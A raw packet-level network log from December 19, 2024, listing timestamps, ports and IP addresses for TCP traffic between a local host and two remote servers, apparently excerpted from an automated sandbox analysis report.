Dec 19, 2024 14:10:28.343569040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.343621016 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.343692064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.343739986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.424608946 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.424678087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.424688101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.424777985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.425338030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.425412893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.425426006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.425457001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.427011013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.427068949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.427098989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.427170992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.428682089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.428734064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.428775072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.428885937 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.430366039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.430428028 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.430491924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.430588961 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.431926012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.431982994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.432044029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.432187080 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.433526039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.433543921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.433590889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.433624029 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.439014912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.439100027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.439163923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.439726114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.439790964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.439862013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.439990044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.440817118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.440884113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.440917969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.441107988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.442312956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.442368031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.442400932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.442455053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.443833113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.443890095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.443924904 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.444175959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.445292950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.445343018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.445424080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.445470095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.446788073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.446832895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.446924925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.446983099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.448272943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.448327065 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.448358059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.448410034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.450042963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.450103045 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.450172901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.450303078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.451462984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.451517105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.451600075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.451694012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.452694893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.452749968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.452788115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.452927113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.454076052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.454128027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.454152107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.454181910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.455451012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.455513954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.455549955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.455599070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.456753016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.456804991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.456887960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.456947088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.458132029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.458185911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.458224058 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.458286047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.459498882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.459562063 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.459609032 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.459660053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.460916042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.460972071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.461013079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.461061001 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.462265968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.462322950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.462357998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.462407112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.463680983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.463876963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.463942051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.465068102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.465136051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.465204000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.465250969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.466331005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.466382980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.466460943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.466567039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.467868090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.467930079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.467942953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.467991114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.468988895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.469034910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.469074965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.469146967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.470369101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.470413923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.470417976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.470482111 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.471956968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.472029924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.472130060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.472204924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.473247051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.473330021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.473371029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.473557949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.474426031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.474464893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.474483967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.474518061 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.475687981 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.475744963 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.475759983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.475871086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.477042913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.477101088 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.477113962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.477165937 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.478354931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.478408098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.478430033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.478488922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.479633093 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.479696035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.479775906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.479908943 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.480995893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.481053114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.481089115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.481230974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.482309103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.482361078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.482377052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.482425928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.483620882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.483689070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.483730078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.483792067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.484925032 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.485018969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.485039949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.485090971 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.486283064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.486326933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.486381054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.487627029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.487689018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.487704039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.487752914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.488959074 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.489022970 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.489087105 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.489161015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.490266085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.490323067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.490353107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.490570068 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.491612911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.491672993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.491790056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.491854906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.493027925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.493077040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.493182898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.493238926 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.494277954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.494316101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.494326115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.494401932 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.495590925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.495651007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.495722055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.495805979 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.496901035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.496938944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.496959925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.496989965 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.498259068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.498342991 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.498429060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.498601913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.499639988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.499727011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.499728918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.499780893 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.500962019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.501012087 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.501049042 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.501105070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.604334116 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.604480982 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.604536057 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.604554892 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.604638100 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.604691029 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.604697943 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.604819059 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.604872942 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.604878902 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.613040924 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.613099098 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:28.613106012 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:28.616703033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.616745949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.616769075 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.616799116 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.617300034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.617352962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.617616892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.617708921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.618371010 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.618426085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.618510962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.618593931 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.619488955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.619544983 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.619607925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.619690895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.620803118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.620865107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.620881081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.620929003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.621678114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.621737003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.621759892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.621877909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.622867107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.622922897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.622951984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.623006105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.631231070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.631248951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.631295919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.631345987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.631592035 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.631674051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.631752968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.631933928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.632554054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.632611990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.632698059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.632745981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.633613110 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.633671999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.633697033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.633747101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.634638071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.634803057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.634825945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.634871960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.635637045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.635694027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.635776043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.635827065 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.636631012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.636693954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.636735916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.636871099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.637651920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.637710094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.637754917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.637824059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.638791084 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.638843060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.638847113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.638897896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.639820099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.639873981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.640151024 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.640204906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.640717983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.640772104 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.640810966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.640866041 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.641786098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.641870975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.641894102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.641942024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.642738104 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.642793894 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.642829895 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.642925978 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.643780947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.643843889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.643979073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.644028902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.644776106 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.644836903 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.644912004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.645028114 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.645840883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.645900011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.645936012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.646049976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.646898031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.646959066 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.646970987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.647026062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.647860050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.647916079 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.647937059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.648215055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.648921967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.648981094 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.649039030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.649087906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.649945974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.650002003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.650013924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.650063038 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:28.650926113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:28.650980949 CET	49800	80	192.168.2.4	31.41.244.11
